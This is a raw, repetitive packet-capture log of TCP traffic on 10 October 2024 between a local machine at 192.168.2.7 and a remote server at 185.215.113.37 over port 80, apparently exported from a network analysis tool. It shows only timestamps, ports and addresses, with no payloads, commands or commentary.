Oct 10, 2024 10:09:42.687450886 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687458038 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687458038 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687468052 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687479973 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687490940 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687490940 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687500954 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687503099 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687536955 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687589884 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687752008 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687796116 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687807083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687838078 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687838078 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687838078 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687849045 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687865973 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687876940 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687884092 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687889099 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687900066 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.687901020 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687951088 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.687951088 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688507080 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688522100 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688536882 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688572884 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688580990 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688594103 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688599110 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688606024 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688632965 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688678980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688678980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688678980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688678980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.688708067 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.688807964 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.723768950 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723789930 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723800898 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723810911 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723822117 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723824978 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.723833084 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723845005 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723855019 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723855019 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.723867893 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723880053 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723890066 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723898888 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.723905087 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723916054 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723916054 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.723927975 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.723949909 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724018097 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724019051 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724030972 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724044085 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724050999 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724076033 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724157095 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724168062 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724179983 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724190950 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724231958 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724231958 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724246025 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724256992 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724306107 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724328041 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724339962 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724369049 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724380970 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724390030 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724411011 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724411011 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724448919 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724575996 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724642992 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724713087 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724731922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724742889 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724754095 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724765062 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724777937 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724783897 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724796057 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724806070 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724816084 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724818945 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724818945 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724828005 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724838018 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724848986 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724853039 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724853039 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724860907 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724872112 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724879980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724884033 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.724898100 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.724919081 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.776849985 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776870012 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776882887 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776896000 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776906967 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776917934 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776926994 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776938915 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.776958942 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.776958942 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777040958 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777472973 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777483940 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777496099 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777506113 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777517080 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777528048 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777533054 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777539015 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777548075 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777550936 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777563095 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777573109 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777576923 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777585030 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777596951 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.777596951 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777653933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777653933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.777653933 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778209925 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778220892 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778230906 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778240919 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778250933 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778260946 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778271914 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778275967 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778283119 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778292894 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778302908 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778311968 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778321028 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778332949 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778332949 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778332949 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778340101 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778352976 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778359890 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778363943 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778376102 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778377056 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778387070 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778395891 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778405905 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778418064 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778426886 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778426886 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778428078 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778440952 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778444052 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778454065 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778464079 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778472900 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778484106 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778493881 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778505087 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778505087 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778505087 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778505087 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778517008 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778527021 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778536081 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778544903 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778544903 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778547049 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.778568983 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.778608084 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779639959 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779652119 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779661894 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779670954 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779680967 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779690981 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779700041 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779710054 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779714108 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779714108 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779720068 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779731035 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779742002 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779742956 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779752970 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779756069 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779767036 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779778004 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.779819965 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.779819965 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.780352116 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780363083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780373096 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780383110 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780394077 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780405045 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780415058 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780426025 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.780457973 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.780457973 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.780458927 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.780497074 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811057091 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811069965 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811080933 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811115026 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811126947 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811137915 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811145067 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811161995 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811172962 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811206102 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811216116 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811227083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811232090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811232090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811240911 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811254978 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811259031 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811265945 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811286926 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811309099 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811321020 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811368942 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811368942 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811369896 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811552048 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811564922 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811578035 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811593056 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811613083 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811618090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811618090 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811678886 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811683893 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811695099 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811703920 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811762094 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811762094 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811831951 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811886072 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811894894 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811920881 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811930895 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811932087 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811930895 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811949015 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811963081 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811974049 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.811975002 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.811983109 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812038898 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812192917 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812261105 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812263966 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812274933 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812310934 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812310934 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812320948 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812331915 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812342882 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812352896 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812365055 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812408924 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812410116 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812422991 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812433958 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812450886 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812462091 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812472105 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812482119 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812484980 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812494040 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812505960 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812515974 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.812524080 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812524080 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812524080 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.812577963 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.863904953 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.863961935 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.863980055 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.863991976 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864001989 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864017010 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864027023 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864042997 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864118099 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864301920 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864311934 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864322901 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864366055 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864366055 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864428997 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864440918 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864453077 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864460945 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864471912 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864474058 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864474058 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864581108 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864582062 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.864860058 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864871979 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.864924908 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.865015984 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865027905 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865039110 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865056038 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865067005 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865081072 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.865086079 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865098000 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865109921 CEST	80	49700	185.215.113.37	192.168.2.7
Oct 10, 2024 10:09:42.865117073 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.865117073 CEST	49700	80	192.168.2.7	185.215.113.37
Oct 10, 2024 10:09:42.865122080 CEST	80	49700	185.215.113.37	192.168.2.7
